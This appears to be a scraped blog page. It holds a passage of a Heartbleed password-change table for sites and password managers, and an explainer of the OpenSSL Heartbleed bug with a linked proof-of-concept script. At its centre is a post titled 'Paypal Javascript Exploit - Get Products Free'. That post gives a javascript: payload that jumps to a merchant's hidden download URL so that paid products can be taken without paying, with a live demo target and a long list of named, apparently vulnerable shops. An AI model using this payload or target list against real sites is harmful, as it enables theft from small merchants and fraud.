<td style="font-size: 90%;">Wordpress <a href="https://twitter.com/wordpressdotcom/status/454312202250756096" target="_blank">tweeted</a>
 that it has taken "immediate steps" and "addressed the Heartbleed 
OpenSSL exploit," but it's unclear if the issue is completely solder. 
When someone asked Matt Mullenweg, WordPress' founding developer, when 
the site's SSL certificates will be replaced and when users will be able
 to reset passwords, he simply <a href="https://twitter.com/photomatt/statuses/454345166187667457" target="_blank">answered</a>: "soon."</td>
</tr>
<tr>
<td style="font-size: 90%;"><strong>Wunderlist</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"You’ll have to simply log back into Wunderlist. We also strongly recommend that you reset your password for Wunderlist." <a href="https://www.wunderlist.com/blog/how-we-fixed-the-heartbleed-bug" target="_blank">Full Statement</a></td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Password Managers</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>1Password</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">1Password said in a <a href="http://blog.agilebits.com/2014/04/08/imagine-no-ssl-encryption-its-scary-if-you-try/" target="_blank">blog post</a>
 that its technology "is not built upon SSL/TLS in general, and not upon
 OpenSSL in particular." So users don't need to change their master 
password.</td>
</tr>
<tr>
<td><strong>Dashlane</strong></td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td style="font-size: 90%;">Dashlane said in a <a href="https://www.dashlane.com/blog/security/dashlane-heartbleed-bug/" target="_blank">blog post</a>
 users' accounts were not impacted and the master password is safe as it
 is never transmitted. The site does use OpenSSL when syncing data with 
its servers but Dashlane said it has patched the bug, issued new SSL 
certificates and revoked previous ones.</td>
</tr>
<tr>
<td><strong>LastPass</strong></td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td style="font-size: 90%;">"Though LastPass employs OpenSSL, we have 
multiple layers of encryption to protect our users and never have access
 to those encryption keys." Users don't need to change their master 
passwords because <a href="http://blog.lastpass.com/2014/04/lastpass-and-heartbleed-bug.html?showComment=1396972067260#c3424197100234033838" target="_blank">they're never sent to the server</a>. But passwords for other sites stored in LastPass might need to be changed.</td>
</tr>
</tbody>
</table>
<em><br /></em></section></div>

The Heartbleed Hit List: The Passwords You Need to Change Right Now

It's time to update your passwords to various sites affected by the Heartbleed bug. An encryption flaw cal...

Paypal Javascript Exploit - Get Products Free

<div dir="ltr" style="text-align: left;" trbidi="on">
In this Tutorial we are talking about Paypal Javascript  Exploit. So 
Here is a simple JavaScript exploit through which you can 
hack Paypal & download products for free without spending single 
penny . More then 500 sites are Vulnerable !! .<br />

<br />
<div dir="ltr" style="text-align: left;">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghGEfrY9ALhtseFIZCM9BU6MuR6DbA8_FWhE30GiYj2CA1SCq6x_UvPjAofdIu5hBxngf-nRDO5cRxZ0q1Q2_doMULpfgARSnnmpwJ2Vd5QRsHZEPZMi93-6DG7FHwVAu0regUw94BU1U/s1600/ExploitLogo.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghGEfrY9ALhtseFIZCM9BU6MuR6DbA8_FWhE30GiYj2CA1SCq6x_UvPjAofdIu5hBxngf-nRDO5cRxZ0q1Q2_doMULpfgARSnnmpwJ2Vd5QRsHZEPZMi93-6DG7FHwVAu0regUw94BU1U/s1600/ExploitLogo.jpg" width="400" /></a></div>
<br />
<br />
So lets start..! ;)<br />
<br />
<h2 style="text-align: left;">
<b><span style="color: #3d85c6;">Follow The Instructions:-</span></b></h2>
<br />
<b><span style="color: #cc0000;">1).</span></b> Go to the vulnerable site & paste the below JavaScript given below in the browser & hit enter !!.<br />
<div>
</div>
<div>
<div>
<div>
</div>
</div>
</div>
</div>
<pre style="background-color: #eeeeee; border-bottom-color: rgb(153, 153, 153); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(153, 153, 153); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(153, 153, 153); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(153, 153, 153); border-top-style: dashed; border-top-width: 1px; color: black; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 12px; line-height: 10px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; text-align: left; width: 90%;"><code>
javascript:top.location=document.getElementsByName('return')[0].value; javascript:void(0);
</code>

</pre>
<br />
<br />
<b><span style="color: #cc0000;">2).</span></b> So after you have hit enter, just sit back & enjoy the free product .<br />
<div>
</div>
<div>
<blockquote class="tr_bq">
<b><i><span style="font-family: Arial, Helvetica, sans-serif;"><u>Live Demo :-</u></span></i></b><b><i><span style="color: red;"><br /></span></i></b><b><i><span style="color: red;"><span style="font-family: Arial, Helvetica, sans-serif;">Vulnerable Site</span>  - </span></i></b><a href="http://www.orderproductsdirect.com/Instantdownload.htm">http://www.orderproductsdirect.com/Instantdownload.htm</a></blockquote>
</div>
<div>
</div>
<b><span style="color: #cc0000;">3). </span></b>So after you paste the JavaScript in the URL then the product will be automatically downloaded :)<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWP7BhogJiha7BlHd5BLKnLzGvsu1SVG_MzA-GgHj7Kq33mxI7jsadnzQxo5_d4bpcPkHo0_VrRo_RdcpUzI5xt-yTU1fnVZFE25y5BVtewcnMYF8kCNEpykJFQyaLCXIdhxoecTQXWcU/s1600/hackers-store.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWP7BhogJiha7BlHd5BLKnLzGvsu1SVG_MzA-GgHj7Kq33mxI7jsadnzQxo5_d4bpcPkHo0_VrRo_RdcpUzI5xt-yTU1fnVZFE25y5BVtewcnMYF8kCNEpykJFQyaLCXIdhxoecTQXWcU/s1600/hackers-store.PNG" width="640" /></a></div>
<br />
<br />
<br />
<b><i><span style="color: #3d85c6; font-family: Arial, Helvetica, sans-serif; font-size: medium;">More Vulnerable sites link</span></i></b> <span style="font-size: medium;">(some sites are patched) </span>-<br />
<br />
<br />
<br />
<pre class="prettyprint" id="thepaste">http://www.businesslistsforsale.com/Specialty-Lists.shtml
http://freewaretools.net/search/“this-order-button-requires-a-javascript-enabled-browser-submitter/
http://charmedbysarah.com/incremental-proxy-site-with-javascript-enabled/
http://ozvoyager.com/scifi-sms-script-this-order-button-requires-a-javascript-enabled-browser/
http://www.magictrickcollection.com/download-magic.htm
http://freewaretools.net/search/this-order-button-requires-a-javascript-enabled-browser-seo/
http://www.guitarxx.net/
http://www.edocdesign.com/custom/form_additions.html
http://www.orderproductsdirect.com/Instantdownload.htm
http://www.wewritequalityarticles.com/
http://www.cooltoolawards.com/advertising.htm
http://www.buildmeacashblog.com/
http://www.lynkstatrak.com/samples-1.htm
http://ready-made-income-sites-at.yourglobalcompany.com/
http://www.golfersdream.com/advertising_ezine.htm
http://www.claypals.net/claypals.html
http://www.angelfire.com/ab7/celebrities/CelebritiesMailingList.htm
http://doitupamerica.com/singlempthrees/
http://www.townsquareamerica.com/Metal_Car_Tags.htm
http://www.singlelives.com/ama-ad-pacs-and-single-ad-prices.htm
http://freewaretools.net/search/this-order-button-requires-a-javascript-enabled-browser-instant-download/
http://www.egamingsupply.com/cheap-power-leveling/ffxi
http://www.dxproscripts.com/
http://www.rduanewilling.com/order.htm
http://treasuresignsandsymbols.treasure-legend.com/
http://hostingwebserver.com/extras.html
http://www.bugs-n-blooms.com/topsite/girlsroomdecortopads.htm
http://www.ebookomatic.com/
http://mall.topcities.com/webtools.htm
http://minisitesunlimited.com/
http://andythehippie.com/geico-free-wap-browser-nokia-n73/
http://www.rphinc.net/
http://www.productcreationpro.com/product-only-no-frills.htm
http://blairin.com/music.html
http://www.softwarewarrioress.com/newbies.html
http://www.2nd-income-solutions.com/Advertising_Rates_Ezine.htm
http://www.writeatrust.com/order/orderolt.htm
http://www.themarketingcouple.com/paypal/index.htm
http://my1040.ws/registration.htm
http://www.marketmymaplocal.com/google-map-ranking/the-perils-of-black-hat-seo-search-strategy/
http://www.buyfanpagetraffic.com/
http://myforexedge.com/
http://www.doctorisin.net/
http://www.websitesfornotaries.com/99dollarwebsites.htm
http://www.giftsofdivinity.com/godpurpose.html
http://www.optimizemywebsites.com/seo_4.html
http://www.peigifts.com/
http://www.alternative-spiritual-healing.com/self-help-store.html
http://www.thenettle.com/forsale/makingsoftware/
http://www.ebay-secretsonline.com/ordernow.htm
http://www.townsquareamerica.com/Shot_Glasses.htm
http://www.cbsqueezevideos.com/
http://donnamaher.com/birthday/
http://www.wildonehosting.com/
http://www.magicities.com/streetmagic/
http://www.myperfecthousecleaning.com/gift_certificates.php
http://www.digitalproductscenter.com/videos/plr-cash-machine/index.html
http://www.stuccotools.com/diana-gun-hopper/
http://www.wittytemplates.com/build_your_ebay_empire2.html
http://lifechurchmv.com/audio/
http://ironoverload.info/ironichealth/
http://www.ecom-soft.com/mscsoft.html
http://resilient2disaster.com/hwy/i90.php?y-browser-n95'
http://www.dubai-mobiles.net/ebooks.htm
http://www.bensonawong.com/
http://dresden-news.net/tierra-yahoo-browser-wm-pocket-pc/
http://classicflashgames.net/Europeans-oracle-linux-telnet-enable/
http://go2ebayriches.com/
http://win-traffic.com/sales/index.htm
http://businessuncommon.com/ebay3/
http://microcourse.info/maldives-usenet-browser-model/
http://www.mindpower4you.com/publicspeakingaudio.html
http://www.18.77special.com/traffic/MegaTraffic.html
http://laycolimitada.com/smuggling-browsers-for-mobile-advantages-and-disadvantages/
http://turnbuckleman03a.com/imagecreator/
http://www.yourmodern.com/business.html
http://www.lightsoflove.us/LLAW/vol105.php
http://thegamblinghouse.net/years-scroll-array-items-javascript/
http://www.pitbullcoaching.com/
http://instantnichewebsite.com/
http://www.cmkoch.biz/postingads.html
http://www.matthewandrobyn.com/matts music/R2C.html
http://sellingonlinemadeeasy.com/Phase1/index.php
http://1stopdigitalproducts.com/awebtools/
http://www.z2wealthsystem.com/TwitterVideoTutorials/
http://angelkeeperdesigns.com/join.htm
http://www.johnmelanson.info/ResourceExplosion-Web/Index.html
http://www.johnkoehler.com/payments.htm
http://www.cdproductsonline.com/computers/sqpage/index.htm
http://www.auctionkits.com/kits/kit-b/index.htm
http://www.marketmymaplocal.com/google-map-ranking/zombizness-premium-php-template-with-seo-url-cms-premium-2/
http://www.eternity-yoga.com/yoga-workshops.html
http://www.manuscriptreviews.com/manuscript-reviews-services.html
http://uwitorontogala.com/junction-javascript-read-ldap-active-directory-computer-name/
http://phoenixmetalworks.net/shipman-javascript-bookmarklet-redirect-onload/
http://tylersanford.com/nace-internet-browsers-downloads/
http://www.pleazz.com/craigs/PR_6_Backlinks.htm
http://www.mastersofnewthought.com/gwaysignup.html
http://www.my6dollarsite.com/mmills/sales-page.htm
http://signupspro.com/Order_Signups.html
http://utilityspot.com/signup.htm
http://www.domaincity.ws/
http://www.7dollarsecretspro.com/offer.html
http://thebestreps.com/gonzo-dd-wrt-enable-dhcp-with-option-150/
http://mytwitterpro.info/
http://sparkleandfriends.com/condos-javascript-add-more-rows/
http://rumblesfromthejungle.com/gmkt_v1.htm
http://turbographics09.com/order.html
http://stuccotools.mobi/diana-gun-hopper/
http://www.jonathanhendricks.com/webmaster/
http://lovenurture.com/breaders-ms-and-leg-stiffness-after-sitting-what-is-causes-this/
http://www.php-tutorialbook.com/
http://giftedinscience.org/moh-javascript-multidimensional-radiobutton/
http://www.tallentagency.com/adware_spyware/index.htm
http://myrdhinn.com/
http://businesspromembers.com/utube/
http://internet-consulting-services.com/services/index.html
http://www.earneasymoneynow.com/webtools/webtools.htm
http://karinsbutik.com/fortnight-bayview-landing-in-virginia/
http://tbhcontrolpanel.com/intermodal-google-browser-hijack/
http://www.snouthouse.com/order.htm
http://zpcparts.com/mizer-seleccionar-fila-de-gridview-javascript/
http://mothersandmaidens.com/clank-javascript-pop-sound/
http://www.designingebookcovers.com/starter.htm
http://www.real-freedom.com/OrigEprods/index.htm
http://knightthunder.com/listcleaner.php
http://www.mindblowingmindreading.com/findout.php
http://www.globaltechmktg.com/adassassin.html
http://www.richardhackworth.com/millionaire.php
http://www.videoepidemic.com/
http://www.thecossgroup.com/1/Auto/index.html
http://www.listbarter.com/US_Business_List_CD.shtml
http://www.ebooks-made-easy.com/articlemachine/
http://chrisblackburn.com/culos-how-to-enable-regedit-services-in-win-xp/
http://www.9.77plr.com/NPWT.html
http://www.xtasys.com/cursiveletters.html
http://www.sfielite.com/sfiteamcoop.html
http://webdesignbysteve.com/blog/website-analysis/salespage.php
http://www.jcjmarketing.org/ordering.html
http://ckoch02.tripod.com/
http://summithealthllc.com/stat-dlink-dr655-enable-secure-wireless-network/
http://www.dawesrolls.com/dawes/INDEXonCD.aspx
http://tamiltest.com/cfd-swarovski-bead-tree-tutorial/
http://www.psychotherapy-for-hypnotists.com/
http://www.qballcafe.com/
http://www.100hypnoticsalestips.com/
http://www.fasttrackforex.com/course/
http://www.emailprocessinghomebiz.com/
http://www.resellerproducts.com/SocialMediaProfits/index.html
http://georg3.net/contax-auto-accident-neck-and-back-sprain-how-concusion-have-ms-but-is-stable-how-will-this-effect-settlement/
http://www.allthatwomenwant.com/recipecollection.htm
http://www.socialtrafficdetonator.com/
http://www.spiritsinpeace.com/richard-doiron/A-Winters-Soliloquy.html
http://www.totalresalerights.com/tr-order.htm
http://www.trainmycat.com/order.htm
http://grinderswitch.com/
http://www.adsensetracker.info/
http://www.blackhatteam.com/f133/crack-the-paypal-code-33695-2.html
http://www.facebook.com/note.php?note_id=108332612582157'
http://www.rverscorner.com/painless.html
http://www.militaryebooks.com/self-defense.php
http://www.desktop-wealth.com/soft/instant/ism/ism.htm
http://www.credit-improve.com/
http://www.ropercenter.uconn.edu/center/mitofsky_overview.html
http://coralarquitectura.cat/kombucha-pheromones-perfumes-buy-verified-byvisa-enabled/
http://www.myscriptindex.com/ff/
http://www.slamyoursites.com/
http://www.linkpopularity.ws/
http://www.6figuremarketing.com/barrs/audio.html
http://concepts4sitedesign.com/
http://www.woothosting.com/HOME/woot-hosting-templates-for-sale.htm
http://ideal-deals-resell-package.com/tr-order.htm
http://www.self-development-info-resources.com/the-5-steps-to-personal-power.html
http://www.cmark1.com/beer/brew_your_own_beer1.htm
http://www.amazingmindreading.com/findout.php
http://inkingdaze.com/stu-fruit-spanish-abc-order/
http://jollyobama.com/obama_jockey_standup.html
http://www.aysdesigns.com/payments.html
http://www.becoming.net/mks/eebve.html
http://jtscc.com/scm-ps2-homebrew-browser/
http://www.testedtough.com/
http://www.tophathosting.com/tophatlist/index.html
http://www.concentus-tech.com/software.html
http://www.mauricetudor.com/Power10Action-Group/aprilalert.htm
http://www.netbooksoasis.com/ar-unlimited/index.html
http://www.rodgerhyatt.com/ens/
http://stopthecop.com/products.html
http://thetoolman.net/softwareclub/screenshowpro/
http://www.latest-hackers.co.cc/2011/03/how-to-bypass-paypal-payment-for-free.html
http://www.ebookstarter.com/register/purchase2.php
http://www.yourmodern.com/power.html
http://www.hobbytrainsecrets.com/order.html
http://www.traildustmagazine.net/
http://twitter-automation-at.freeincomesite.com/
http://www.fsbosecretscd.com/kt/goto.php?campaign_id=6'
http://www.govtauctionfinder.com/
http://www.citizensactionteam.com/register.html
http://easyshed.us/blog/easyshed15/2011/04/01/pole-barns-pole-barn-shop-construction-eugene-or-greg-stallings-construction/
http://www.websiteboosterkit.com/order.html
http://www.teachmeinfomarketing.com/
http://www.pcdoc.bz/service/toshiba_laptop_service_manuals.htm
http://www.danbeal.com/2-buck-ad-sale.htm
http://www.whispersfromtheuniverse.com/
http://tatimages.com/ButterflyTattoosBlack/
http://appfactoryllc.com/des-autoclick-skate-beach/
http://www.ticketyboomiscellany.com/benefits-of-herbal-teas.html
http://www.weetagalong.com/
http://mobzones.blogspot.com/2011/03/bypass-paypal-payment-to-get-free.html
http://www.fortunesfromforums.com/ordernow.html
http://www.isnake.net/cd.htm
http://operations-guide.com/404tips/
http://www.netemailspider.com/buy_now.htm
http://ecpitghosthunters.com/contactus.html
http://internet-stocktrading.net/recommends/tradingstrategy.php
http://explosivemanualtraffic.com/getpaid/
http://infosols.com/diverting-examples-of-article-critiques/
http://www.peruviannaturistasmedicines.com/beauty_tips_female/aguaje_properties_hips_breasts_perfect_body_beauty.php
http://ultimatemoneymakingkit.com/
http://paylockgenerator.com/plg_order.html
http://ninelevelsoflove.com/
http://shop.9-99.us/products/ccshadow.html
http://www.downmemorylanetreasures.com/collectabledolls/eradolls.html
http://christians-r-us.net/kit.php
http://beaulog.com/foodjustice/index.php?title=Ideal_Weight_Javascript'
http://www.cnc-academy.com/cnc-programming-jobs.htm
http://cemeteryheadstones.org/
http://dnmoola.com/
http://www.simserv.com/inde.html
http://lisascondoinparadise.com/crape-wrq-reflection-for-secure-it-ssh-connection-refused/
http://forumnichegoldmine.com/
http://lstarratt2926.mycontrolinterface.com/allstars-page-turning-in-javascript/
http://www.gambling-ebooks.info/mindyourownpokerbusiness.htm
http://trishas-creations.info/Notecards/
http://www.qqday.net/
http://allhomes4rent.com/houston-hot-european-hunk-blogger/
http://webtoolskit.net/order1.html
http://wgacastore.com/katies-checkbox-checked-delphi-javascript/
http://mriduchandra.com/bavaro-foretees-for-joomla/
http://avolonage.com/newproduct/socialnetwork/index.htm
http://www.wealth-ambition.com/mim/mentors-in-motion.htm
http://www.stuccotools.com/stucco-sprayer/
http://fantastictenerife.com/measles-scholarly-articles-on-organic-food/
http://www.theme-creator-download.com/
http://www.marketeknowledgy.com/kmt/
http://easyseductionsecrets.com/
http://simeyrols.com/p3-enable-toshiba-u3/
http://www.savegainstax.com/interviewwiththepros/
http://www.websiteheaders.us/
http://www.whycredit.info/order.html
http://magniworkfree.info/blog/magniworkfree5/2011/04/02/watch-wood-gas-generator-gasifier-biochar-13/
http://advancedinternetstudycourse.com/PriceTest/
http://living-4-life.info/healthy-you/index.html
http://creditcardcrazy.com/join2.html
http://www.web-biz-solutions.com/ebookstore/ebooks/order1.html
http://optinmastercourse.com/nettle/index.html
http://sdngea.com/srbija-goodman-ck30-1t-central-air-hold-button-and-it-runs/
http://www.gratitudebook.com/
http://hubpagestutorial.info/
http://quickdynamics.com/pmailerorder.html
http://www.kissreleasing.com/goals-money/
http://www.marketmymaplocal.com/google-map-ranking/google-maps-places-new-rules-black-hat-forum-black-hat-seo/
http://affiliateset.com/a-set-order-page1.html
http://newcreditfiletoday.com/
http://www.auctionkits.com/kits/kit-a/index.htm
http://www.jasakom.com/entry.php?31-How-to-Get-Online-Products-without-Paying-a-Cent'&goto=newpost'
http://lcpgroup.net/trolls-pword-for-ryan-adams-torrent/
http://www.tapwrite.com/crypt/order.html
http://video-squeeze-templates.com/
http://www.orangejuicelist.com/
http://www.store42.net/YourCB-Store/
http://businessuncommon.com/plrmega/
http://www.desktop-wealth.com/soft/instant/affiliatemasker/ialm.htm
http://www.businesslistsforsale.com/US_Consumer_State_List_.shtml
http://www.spiritsinpeace.com/carolknepper/humanitarian-poetry.html
http://www.militaryebooks.com/military-fitness.php
http://www.resellerproducts.com/vip interactive website creator/index.htm
http://www.ebookomatic.com/download_freeebook.htm
http://www.pcdoc.bz/service/sony-maint-service_manuals.htm
http://speed-reading.info247.biz/
http://www.softwarewarrioress.com/internet_marketing.html
http://sales.angelkeeperdesigns.com/dvd4.htm
http://thetoolman.net/PLR_Club/
http://traildustmagazine.net/bkissues.html
http://bensonawong.com/prayerandhope.html
http://www.tallentagency.com/YouTubeClone/index.htm
http://www.weetagalong.com/test.htm
http://www.blackhatteam.com/f133/crack-the-paypal-code-33695.html
http://www.ticketyboomiscellany.com/blood-pressure.html
http://www.3.77plr.com/SecretsofSuccessEaster2010.html
http://www.ebooks-made-easy.com/membersite/
http://www.marketmymaplocal.com/google-local-marketing/android-apps-only-poynt-for-android-local-search-app-helps-you/
http://sales.angelkeeperdesigns.com/dvd6.htm
http://sales.angelkeeperdesigns.com/dvd9.htm
http://www.spiritsinpeace.com/carolknepper/nature-poems.html
http://www.weetagalong.com/features.htm
http://www.spiritsinpeace.com/richard-doiron/love-is.html
http://www.peruviannaturistasmedicines.com/treatment/insomnia_natural_treatments.php
http://impactyourimage.com/hallo-article-pack-this-order-button-requires-a-javascript-enabled-browser/
http://necrosismovie.com/tier-free-web-browser-psp/
http://businessuncommon.com/maillist/
http://ynaya-terrier.com/perfectness-requires-english-version-flight-simulator-x-service-pack-2/
http://narow.us/vulnerabilities-enable-offline-files-is-gray-windows-xp/
http://mexicanpottery-art.com/alhambra-javascript-special-characters-check-mark/
http://youngmitsubishi.com/polite-autoclicker-punishment-runescape/
http://toshiart.net/contax-what-does-autorun-enabled-mean/
http://mylifeis.info/flares-blood-pressure-log-java-enabled-phone/
http://hummingbirdartstudio.com/lto-night-club-this-order-button-requires-a-javascript-enabled-browser/
http://lmdanceschool.com/dickey-descargar-cash-autoclicker/
http://justwoman.eu/technologies-locales-para-eventos-en-prince-george/
http://gimenesproducoes.com/apartamentos-blue-blossoms-and-butterfliespicture/
http://narow.us/traditions-enable-widescreen-on-evo-d510/
http://mariastratigou.com/connection-javascript-center-popup-window-flash/
http://muff4u.com/plural-welding-cylinder-certification-requirement/
http://pumabricks.com/stairs-descargar-cash-autoclicker/
http://add-urls-pro.com/prompt-performer-for-far-better-sexual.html
http://zenvillage.net/pleading-javascript-class-array/
http://mphsolutionsinc.com/jaffe-horizontal-moving-text-with-timer-event-javascript/
http://pagaansdesigns.com/observer-access-denied-file-javascript/
http://superflyaccessories.com/grooming-tungsten-e2-web-browser-download-freeware/
http://ofparagon.org/num-javascript-prompt-user-password-iis/
http://narow.us/dilemma-disable-browse-network-computer-word/
http://marsarmada.org/fosters-darwinism-vs-creationism-article/
http://www.adsensetracker.com/
http://jazinternational.com/emanate-email-javascript-virus/
http://www.jytra.com/low-cost-cad-software.html
http://www.nine90nine.com/
http://www.cdproductsonline.com/turnkey/48websites/index.htm
http://hypnosisdepot.com/stage.htm
http://hypnosisdepot.com/ebooks.htm
http://www.ebooksgala.com/ebay8/eBayClassifiedAd.htm
http://www.businesslistsforsale.com/Specialty-Lists.shtml
http://ozvoyager.com/scifi-sms-script-this-order-button-requires-a-javascript-enabled-browser/
http://www.magictrickcollection.com/download-magic.htm
http://freewaretools.net/search/this-order-button-requires-a-javascript-enabled-browser-seo/
http://freewaretools.net/search/“this-order-button-requires-a-javascript-enabled-browser-submitter/
http://freewaretools.net/search/this-order-button-requires-a-javascript-enabled-browser-instant-download/
http://charmedbysarah.com/incremental-proxy-site-with-javascript-enabled/
http://nicjen.com/gerlach-home-improvement-articlethis-order-button-requires-a-javascript-enabled-browser/
http://www.wewritequalityarticles.com/
http://www.orderproductsdirect.com/Instantdownload.htm
http://www.guitarxx.net/
http://www.edocdesign.com/custom/form_additions.html
http://successlawyers.com.au/hughs-browser-advance-dating/
http://ready-made-income-sites-at.yourglobalcompany.com/
http://www.cooltoolawards.com/advertising.htm
http://memodigi.com/imperfections-how-to-hack-security-enabled-wireless-network/
http://wiriagar.com/waikoloa-scroll-iframe-with-javascript/
http://www.buildmeacashblog.com/
http://www.angelfire.com/ab7/celebrities/CelebritiesMailingList.htm
http://www.softwarewarrioress.com/newbies.html
http://grannysfavoriterecipes.com/zermatt-jsp-check-javascript-enabled/
http://www.nadiarichardson.com/nr-products/homeandfamily/healthandfitnesscollection/
http://ozbeta.com/rate-maulana-abduljabber/
http://infinityinfoway.com/secretary-browser-for-mac-os9/
http://minisitesunlimited.com/
http://www.singlelives.com/ama-ad-pacs-and-single-ad-prices.htm
http://treasuresignsandsymbols.treasure-legend.com/
http://hostingwebserver.com/extras.html
http://www.egamingsupply.com/cheap-power-leveling/ffxi
http://www.dxproscripts.com</pre>
<br />
</div>

Paypal Javascript Exploit - Get Products Free

In this Tutorial we are talking about Paypal Javascript Exploit. So Here is a simple JavaScript exploit through which you can hack Paypa...

OpenSSL vulnerability allows hackers to read 64k of memory on target server

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKYAU4zwmfzoxfFk2CFVXob9tWpfuu0sfFtNke0gq5-_3w2LoJtawb2F24KeVQh8OVFFYXE5EN8heJ-ahjaTNxCYAB71WFHphRwDlu__O2E38yhk59noaOEEggRAeqtJEx0Tjo8cvz47E/s1600/heartbleed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKYAU4zwmfzoxfFk2CFVXob9tWpfuu0sfFtNke0gq5-_3w2LoJtawb2F24KeVQh8OVFFYXE5EN8heJ-ahjaTNxCYAB71WFHphRwDlu__O2E38yhk59noaOEEggRAeqtJEx0Tjo8cvz47E/s1600/heartbleed.png" width="264" /></a></div>
HeartBleed: A potentially critical security vulnerability in OpenSSL has been discovered that allows an attacker to read up to 64kilobytes of memory from the server running a vulnerable OpenSSL version.<br /><br /><br />As a normal user, you may not aware what is OpenSSL.  It is cryptographic library which is used for encrypting communication between web server and users - used by plenty of websites including Google.<br /><br />The bug( CVE-2014-0160), dubbed as 'HeartBleed', was independently discovered by Neel Mehta from Google Security team and Codenomicon.  The bug appropriately named HeartBleed because vulnerability is located in HeartBeat extension and it leads to memory leak.<br /><br />The attacker can read only up to 64k of memory during one iteration of the attack.  However, according to Heardbleed.com, an attacker can "keep reconnecting or during an active TLS connection keep requesting arbitrary number of 64 kilobyte chunks of memory content until enough secrets are revealed".<br /><br />An attacker can retrieve the private key used for encrypting the communication that will allow to read all information passed to server and user like it wasn't encrypted at all.<br /><br />How to fix it?<br />If your server is using OpenSSL 1.0.1 and 1.0.1f, then better upgrade to 1.0.1g. If you are using 1.0.0 and 0.9.8, you are not vulnerable to this bug.<br /><br />Check whether Your server is vulnerable or not:<br />"http://filippo.io/Heartbleed/" allows to find whether your server is vulnerable to this bug or not.<br /><br />Details about the Bug:<br />TLS Heartbeat extension is to ping from one end to another end - a specific message with size of it is being sent from client to server and server responds with the same message.<br /><br />But, if an attacker send a small size of data(Let's say 1 kilo byte) and claims it's large size(64k), then the server(running vulnerable OpenSSL) will respond with 1 kilo byte of attacker's data + 63 kilobytes of data read from memory of the server.<br /><br />Technical details of this bug can be found <a href="http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html" target="_blank">here</a> .(read only if you are good in 'C' program).<br /><br />Here is POC script written in Python: https://gist.github.com/ixs/10116537<br /><br />One should always be careful, when using pointers in C programming ;)<br /></div>

OpenSSL vulnerability allows hackers to read 64k of memory on target server

HeartBleed: A potentially critical security vulnerability in OpenSSL has been discovered that allows an attacker to read up to 64kilob...